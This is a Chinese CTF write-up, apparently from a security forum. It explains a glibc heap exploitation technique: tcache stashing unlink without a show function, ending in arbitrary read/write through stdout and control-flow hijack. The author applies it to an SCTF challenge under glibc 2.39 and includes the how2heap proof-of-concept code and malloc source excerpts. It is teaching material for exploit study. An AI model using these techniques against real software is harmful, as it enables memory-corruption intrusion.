-
-
[原创]论一种无show情况下从堆到劫持执行流的方法
-
发表于: 4天前 1002
-
前段时间笔者看到了@B1t3师傅的[原创]trx ctf 2026 house of fishing,复现了一下,原题是常规的增删查改程序但缺失show(查)的情况下通过UAF+Larginattack+tcache stashing unlink实现一个任意地址分配,从而污染某个特定的数据使得后门函数的进入条件通过,笔者在复现后思考,如果删除后门函数,能否在无show+UAF的情况下实现劫持程序执行流,发现tcache stashing unlink结合其他技术可以在无show的情况下做到劫持程序执行流,遂发表在评论区。
而这两天刚好SCTF出了一道类似考点的题目,也是考察在程序没有show时的堆利用,笔者尝试上述方法发现可解,因此有了这篇文章来记录该攻击方法。
how2heap中的源码(去除相关注释)
当然这个源码只是其中一种情况,我们后续再讲更普遍的情况
先总结一下tcache stashing unlink的适用条件:
而当从smallbin取块时,紧接着就是第一次双向链表的验证
如果我们还是按刚才的ABC来理解,取块时会检查C的bk指向的堆块(B)的fd指针是否指向C,一个简单的双向链表检验
而出现问题的则是随后的#if USE_TCACHE分支,先放源码(注意,此时的C已经被脱链,也就是现在的链表情况应该是bin <-> A <-> B <-> bin)
首先,进入stash的条件是①tcache已完成初始化且②当前size所对应的tcache并未完全被放满,如果这两个条件满足,那么smallbin的链表就会进入stash的流程,将链表尾的堆块脱离smallbin的双向链表,再将这个堆块放入对应size的tcache的单向链表中,并不断循环,脱离循环的条件是①tcache已满或②当前链表已不存在任何堆块(bin <-> bin)。
细心的读者一定会发现,在stash的过程中,没有对fd/bk指针做任何检查,而在Glibc2.43(最新版本的Glibc)中,该stash逻辑依然没有加入任何检查
这意味着,当我们伪造了bin <-> A <-> B <-> C <-> bin中A的bk时,当B在stash流程脱链时,bin的bk会被指向我们所伪造的地址,同时,会向我们伪造地址+0x10处写入一个libc中的地址(main_arena),而此时如果循环条件还未结束,那么下一次循环时所取得last(bin)就会是我们伪造的地址从而实现任意地址分配。
注意,我们在进行stash attack时通常会使得tcache的空闲格数==smallbin链表中堆块的数量+1,这是为了防止当我们伪造的地址被链入tcache后,循环仍未满足停止条件,从而会将我们伪造地址+0x18处的地址继续作为bck,而这个地址未必满足前述的stash条件,而导致崩溃。
这个部分可以看@winmt师傅的[原创] CTF 中 glibc堆利用 及 IO_FILE 总结中提到的通过攻击IO中stdout结构体实现任意读写的部分,本文不赘述啦)
我们会发现在stdout前的stderr+136处存在一个指向_IO_stdfile_2_lock的指针,而这个指针恰好能够满足我们在tcache stashing unlink中需要的target+0x18处的指针
同时,我们恰好可以通过修改smallbin的bk(main_arena)的低两字节指向在libc中的IO结构体
结合上述两个条件+前置知识,这个攻击方法的步骤大致可以总结如下:
而这个拥有这个任意地址读了后,配合UAF/堆溢出,我们就能实现任意地址读写,此时通过IO或者environ我们就能轻松劫持程序的执行流了。
Glibc2.39,保护全开
经典的增删改,没有查
add限定大小申请堆块
同时,在首次malloc时会写入堆基址
delete正常free的逻辑,清空了全局指针,不存在UAF
edit中硬编码了写入长度,对0xc0大小的堆块做写入操作时存在0x20大小的堆溢出
同时,在edit时存在一个check逻辑,当读入长度大于0xD8时进行检查,首先取当前堆块+0xC8位置的数据,其实对于我们要进行堆溢出操作的0xC0堆块而言,这个位置就是下一个堆块的size,如果这个size在0x1F与0x520之间,且没有通过times函数中的检查,就会直接退出程序,我们跟进times看看
传入的参数是当前堆块+0xD8的位置,对于0xC0的堆块而言,就是下一个堆块的bk位置,首先先获取当前堆的堆顶,如果该位置不为0,且heap_base已被初始化,就会检查这个bk指针是否在堆内存范围内,如果不在的话,该函数的检查就失败
所以,如果我们按照上述函数方法试图修改smallbin的bk指针时,就会遇到该函数的阻碍,但是想要绕过也非常非常简单,其实这里严格来说存在一个TOCTOU的漏洞,也就是我们在堆溢出时先将size位改为一个大于边界的数,因为是先进行的写入操作,所以在检查时根本不需要通过times的检查也能够正常返回菜单,而这样做会使得堆内存被打乱,此时我们只需要再次通过堆溢出再次覆写size为原size,这样的写入操作不超过0xD8字节,因此也不会进入检查,我们就能够在绕过检查的方式下修改smallbin的bk指针了。
接下来我们对这道题进行上述方法的利用 ,首先我们先需要填满tcache并在smallbin中链入7个堆块(注意,每个堆块间应有用来分隔的堆块,否则会触发unsortedbin的合并机制)
我们来看此时的内存,我们恰好可以通过链表头前的堆块溢出覆写链表头的这个smallbin的低字节,将其改为IO中的地址
此时我们覆写,并且将tache的堆块都先申请出来,再申请一个堆块触发stash,查看情况
可以看到,我们想要申请的地址已经进入了tcache,我们只需要再进行一次malloc就实现了申请到IO,但与此同时值得注意的是,smallbin中的链表已经被我们破坏了(bin的fd依然指向我们利用的堆块),也就意味着我们无法在tcache填满后对这个size进行申请,会触发双向链表检查报错
我们再修改stdout的字段,使得我们能拿到原本在_IO_buf_end的地址,从而计算libc的基地址

那么此时,我们通过控制stdout的字段就能实现任意地址读写,我们可以通过读main_arena拿到堆基址、读environ拿到栈地址

那么我们拥有堆、栈、libc地址后,就可以通过tcache_poisoning直接劫持返回地址控制执行流了,但是由于上述所说的原因,我们没有办法从smallbin中再取对应size的堆块,所以我们提前布置好就好。

exp附下:
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;
setbuf(stdout, NULL);
printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n");
printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");
printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");
stack_var[3] = (unsigned long)(&stack_var[2]);
printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
printf("Now we alloc 9 chunks with malloc.\n\n");
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}
printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");
for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}
printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");
free(chunk_lis[1]);
free(chunk_lis[0]);
free(chunk_lis[2]);
printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");
malloc(0xa0);// size > 0x90
printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");
malloc(0x90);
malloc(0x90);
printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);
chunk_lis[2][1] = (unsigned long)stack_var;
printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");
calloc(1,0x90);
printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);
target = malloc(0x90);
printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
assert(target == &stack_var[2]);
return 0;
}
#define first(b) ((b)->fd)
#define last(b) ((b)->bk)
...
_int_malloc (mstate av, size_t bytes){
...
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
}
if (__glibc_unlikely (bck->fd != victim)) //这个bck就是上面所取得victim的bk所指向的堆块
malloc_printerr ("malloc(): smallbin double linked list corrupted");